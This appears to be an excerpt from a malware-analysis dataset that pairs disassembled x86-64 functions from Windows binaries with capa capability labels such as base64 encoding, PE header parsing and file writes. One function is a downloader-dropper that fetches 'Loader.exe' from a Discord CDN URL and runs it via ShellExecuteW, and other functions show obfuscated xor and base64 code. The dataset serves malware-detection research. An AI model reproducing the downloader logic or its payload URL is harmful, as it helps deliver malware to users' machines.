joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800c5ff0
Capabilities:
Encode data using base64

Disassembly:
not rdx
sar si, 0xaa
inc sil
xor rdi, rbp
xor r9, rdx
btc cx, di
lea r10, [r10 + rsi - 0x7caa0002]
mov qword [rsi + r10 - 0x7ca9fffa], rdx
lea rcx, [rbp + rsi*8 + 0x100bca21]
mov r11d, ebp
lea r8, [rsi + r8 - 0x7ca9fffe]
xchg cl, dil
xchg cx, bp
mov edx, dword [r11 + r8 - 0x403e5409]
xor edx, r9d
call fcn.1800ab842
btr eax, eax
bt bp, 0xa
dec edx
sub rcx, 0x7324fa05
ror edi, 0x1e
je 0x1800ad25b
xor edx, 0x4032a895
shl dil, 0x86
bt r11, rsi
sal r11b, cl
inc edx
jmp 0x1800b7555
dec edx
mul ax
movsxd rbp, ebp
add rbx, rbp
imul word [rsp + rdx - 0x319043dc]
lea rdi, [rdx - 0xe7f3e42]
rol rcx, 0x60
mov rbp, qword [rdx + r10 - 0x31900000]
mov r11d, dword [r10 + rdx - 0x318ffff8]
idiv di
lea r10, [rdi + r10 - 0x2310c1b2]
mov dword es:[rbp + rdx - 0x31900000], r11d
xor word [rsp + rdx - 0x318fffe9], dx
cdqe
mov qword [rsp + rdx - 0x31900000], rbx
ret 0x20
xor rdx, r9
rol rdx, 4
ror ebp, cl
btr bp, bp
dec rdx
xor rdx, 0xfffffffffa300933
jmp 0x1800d2611
xor edx, 0xcf1e1b11
bt ecx, 0x1a
inc esi
push r9
or cl, 0x9e
cbw
xor dword [rsp + rax*2 - 0x73480000], edx
lea rdi, [rsi + rax - 0x21621f61]
pop r9
xadd sil, al
movsxd rdx, edx
rol rax, cl
adc rbx, rdx
lea rdx, [rbp + rax*4 - 0x3a602f45]
sar rax, cl
jmp rbx
mov r11w, ax
movzx r11w, r11b
or sil, 0x10
jae 0x1800dcbfe
xchg cl, bpl
jmp 0x1800a7bd0
mov bpl, byte [rsi + r10 - 0x192afffb]
call fcn.1800b8db7
mov esi, 0x7ca9e680
lea r8, [rsi + r8 - 0x7ca9e688]
movzx edi, sil
lea rcx, [rsi + rsi*8 - 0x68d38e77]
mov ebp, esi
mov rdx, qword [rdi + r8 - 0x80]
xor di, di
jbe 0x1800b5ff6

Function at 0x1800c8ab1
Capabilities:
Encode data using base64

Disassembly:
movsx esi, cx
mov qword [rsp + rbp*4 - 0x42140000], r9
xor dword [rsp + rbp*2 - 0x210a0000], eax
movzx r9d, dil
pop r9
push rsi
bts ebp, edi
xor dword [rsp + rcx*8 + 1], ecx
movsxd rax, eax
adc rbx, rax
call fcn.1800ce730

Function at 0x1800d11c6
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using chaskey

Disassembly:
cld
rep movsb byte [rdi], byte [rsi]
call fcn.1800dd466
push 0xffffffff860597a0
cmp r10, rbp
lea rsp, [rsp + 0x10]
ja 0x1800cb519
mov edi, 0x3f20dc1b
movsx ecx, di
mov r11, rsp
sub rcx, 0x687cab0
movzx edx, cl
lea ecx, [rdx + 0x115]
lea rdx, [r10 + rdi - 0x3f20dc9b]
mov esi, edi
and rdx, 0xfffffffffffffff0
sub rdx, rcx
not esi
mov rsp, rdx
pushfq
shr dil, 0x67
mov rsi, r11
mov rdi, rdx
jae 0x1800b8739

Function at 0x1800d17fb
Capabilities:
Encode data using base64

Disassembly:
xor ax, r9w
mov qword [rsp + rbp*2 - 2], rbp
pop rbp
inc rdx
sub ax, 0x480c
sar cl, 0x63
neg ax
xchg r11b, sil
push rbp
rol ax, cl
sub byte [rsp + rbp + 6], r11b
xchg byte [rsp + rbp - 1], bpl
not ax
adc ax, bp
jmp 0x1800de241
sub ecx, dword [rsp + rbp + 1]
adc ecx, ecx
xor r9w, ax
sub word [rsp + rbp + 4], cx
add dword [rsp + rbp + 2], ecx
lea rax, [rsp + rax + 8]
shr ecx, cl
pop rdi
mov cx, word [rax + rbp - 1]
lea rax, [r11 + 0x1db64908]
lea r10, [r10 + rbp*8 - 0xa]
sar rsi, 0xdc
seta dil
mov word [r10 + rbp*2 - 2], cx
sub dl, bpl
jae fcn.1800a827d
Function at 0x1800d6a9a
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
lea rax, [rdx + rsi*4 + 0x1ad5684]
xor dword [rsp + rbp - 0xb2], edi
inc al
neg ecx
movzx r9d, r11b
pop r9
dec cx
and eax, 0x5abe2c2a
movsxd rdi, edi
ror eax, cl
shl r11b, 0xa3
adc rbx, rdi
mov r10d, dword [rsi + r10 - 1]
lea rsi, [rsi + rsi*4 - 0xdf43273]
inc dx
jg fcn.1800a827d
mov dword [r10 + rcx*8 - 0x10], edi
sub esi, edx
lea r10, [r10 + rcx*2 - 0xa]
and byte [rsp + rcx*2 - 2], bpl
pop rsi
jae fcn.1800a827d
pop rax
sub edi, 0xc516cfb3
shr rsi, 0x2d
bts r11d, esi
sub sil, bpl
xor edi, 0xabf0604
xor r11w, si
xchg rsi, rcx
push r9
sete r11b
jns 0x1800aa421

Function at 0x1800d9311
Capabilities:
Encode data using base64

Disassembly:
not bpl
sar dil, 0xc1
shr rax, 0xa2
cqo
ror bpl, 1
cdq
inc bpl
xchg edx, eax
mul ax
xor r9b, bpl
add rbp, rsp
neg si
and si, ax
cmovbe edi, r11d
xor dl, byte [rdi + rbp - 0xc]
movsx ebp, di
mov word [r10 + rdi*4 - 0x34], dx
sar rdi, 0xd5
cbw
idiv r11b
lea r10, [r10 + rdi*2 - 4]
and r11, rcx
movzx edx, ax
jge fcn.1800a827d
mov qword [rsp + rcx - 0xc], rdx
not r11d
rol r11d, 3
mov qword [rsp + rcx*4 - 0x30], r9
movsx r9d, dx
xchg edx, esi
xor dword [rsp + rdx - 0xdc28b0c], r11d
shl edx, 0x8b
bt rdi, 0x10
bt rax, r9
pop r9
sub si, 0xc887
movsxd r11, r11d
add rbx, r11
movsx r11d, cl
mul esi
movzx ebp, byte [r8 + rcx*2 - 0x1f]
btr r11d, edx
lea r8, [r8 + rax - 0x1a034747]
sbb sil, al
xor bpl, r9b
bswap rcx
inc bpl
inc dx
js 0x1800ccf97
xor cl, 0x3d
or rax, rbp
lea rax, [rbp*2 - 0x27e1b553]
xchg r11, rbp
sbb cl, 0x10
not bpl
xadd bp, ax

Function at 0x1800dd0d5
Capabilities:
Encode data using base64

Disassembly:
pop rdx
sbb dil, 0x23
push rcx
not dil
div byte [rsp + rax*2 - 0x4bb71fee]
cwde
xor r9b, dil
sal byte [rsp + rbp + 0xc], 2
cmovbe cx, bp
lea rdi, [rsp + rdi + 0x18]
mov dx, word [rdi + rcx + 0x5f780000]
mov edi, eax
mov word [r10 + rbp*8], dx
dec word [rsp + rcx + 0x5f78000e]
mov esi, dword [rcx + r8 + 0x5f77fffa]
sub ebp, eax
sub di, ax
lea r8, [rcx + r8 + 0x5f77fffa]
inc rax
not dword [rsp + rbp - 0x5646]
xor esi, r9d
ror byte [rsp + rbp*2 - 0xac98], 0x81
call fcn.1800ab574
push rdx
xor dword [rsp + rbp - 0x362b6de9], eax
bswap edx
mov r9, qword [rsp + rdi*4 - 0x1b8af8c]
bswap rcx
movsxd rax, eax
imul cx, word [rsp + rbp*2 - 0x6c56dbf0]
adc rbx, rax
mov ebp, dword [r10 + rdi*2 - 0xdc57d2]
call fcn.1800b31ba
sbb dl, 0x86
mov eax, ecx
xor rdi, rsi
push rcx
xor dl, 0x2a
movzx ebp, dil
not dl
rol dl, 1
neg rax
setle byte [rsp + rbp*8 + 9]
sar word [rsp + rdi + 8], 0x83
xor r9b, dl
xchg word [rsp + rdi + 0xe], cx
lea rdx, [rsp + rdx + 0x10]
sal rdi, 0x85
push rax
rol esi, 0xdf
mov word [rdx + rdi*4], r11w
dec qword [rsp + rdi + 0xd]
or dil, byte [r8 + rdi - 2]
movsx edx, ax
imul eax
setae al
xor dil, r9b
sub dil, 0x11
lea rcx, [rbp - 0x5f77fd58]
xor dil, 0x16
rol dword [rsp + rax - 0x25db9000], cl
neg qword [rsp + rcx + 0x5f77fd67]
ror dil, 1
xor rsi, rdx
jae 0x1800d8e1d
jmp 0x1800de336
Function at 0x140003554
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000359e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000359e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000359e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000359e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000359e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400035a0
xor al, al
add rsp, 0x28
ret

Function at 0x140003d70
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x140008098]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140003dac
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.140003510
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140003e68
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x140003ece
test ebx, ebx
jne 0x140003ece
lea ecx, [rax + 2]
call fcn.140003510
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140002d10
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x140003ff0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000404c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000404c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000404c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000404c
cmp dword [rcx + 0x84], 0xe
jbe 0x14000404c
cmp dword [rcx + 0xf8], 0
je 0x14000404c
mov ecx, ebx
call fcn.140004260
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140008778]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1400043e0
cmp dword [rsp + 0x60], 0
jne 0x14000408f
mov ecx, ebx
call fcn.1400042e0
int3
add rsp, 0x40
pop rbx
ret

Function at 0x1400040a0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004102
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004102
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140004102
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x140004102
cmp dword [rdx + 0x84], 0xe
jbe 0x140004102
cmp dword [rdx + 0xf8], 0
je 0x140004102
mov ecx, ebx
call fcn.140004260
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140008778]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1400043e0
cmp dword [rsp + 0x60], 0
jne 0x140004145
mov ecx, ebx
call fcn.1400042e0
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x138
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rsp + 0x24]
call fcn.140001250
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001470]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140001570
add rsp, 0x138
ret

Function at 0x140001e38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e82
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e84
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Loader.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1232347764537688134_1240706837129728040_Loader.exe_ex664789c9is66463849hmdcfaed94ed9991ec564e7b913abcf5d0fced0c46c7695139188e4bb498c25c7d
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor ecx, ecx
test eax, eax
js 0x140001057
mov dword [rsp + 0x28], 1
lea r8, str.C:Loader.exe
xor r9d, r9d
mov qword [rsp + 0x20], rcx
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret
mov r9d, 0x10
lea r8, [0x14000240c]
lea rdx, str.Download_Failed
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001958
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019a4
xor al, al
add rsp, 0x28
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x1400034c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400034e8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000350e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140003510
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140003569
test ecx, ecx
jle 0x140003549
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140003569
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140003569
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140003590
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400035b2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400035c8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400035e4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400035e6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003622
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400036be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000365d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000369e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400036be
cmp rbx, rax
ja 0x140003670
test rbx, rbx
je 0x1400036be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140003af0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140003b1d
xor eax, eax
jmp 0x140003c89
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003b57
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003b57
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003c89
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003c7c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140003b9a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003bc5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003c81
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003c34
sub eax, 1
je 0x140003c34
cmp eax, 2
jne 0x140003c7c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003c81
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003c62
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140003c7c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003c81
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140016b80
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140004f00
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004fd3
cmp byte [rcx + 0x71], 0
je 0x140004fd3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140004fcf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004f94
sub eax, 1
je 0x140004f98
cmp eax, 2
jne 0x140004fcf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140016b80
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140004fc6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140004fcf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140004f7c
xor al, al
jmp 0x140004f7c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140016b80
add rsp, 0x60
pop rbx
ret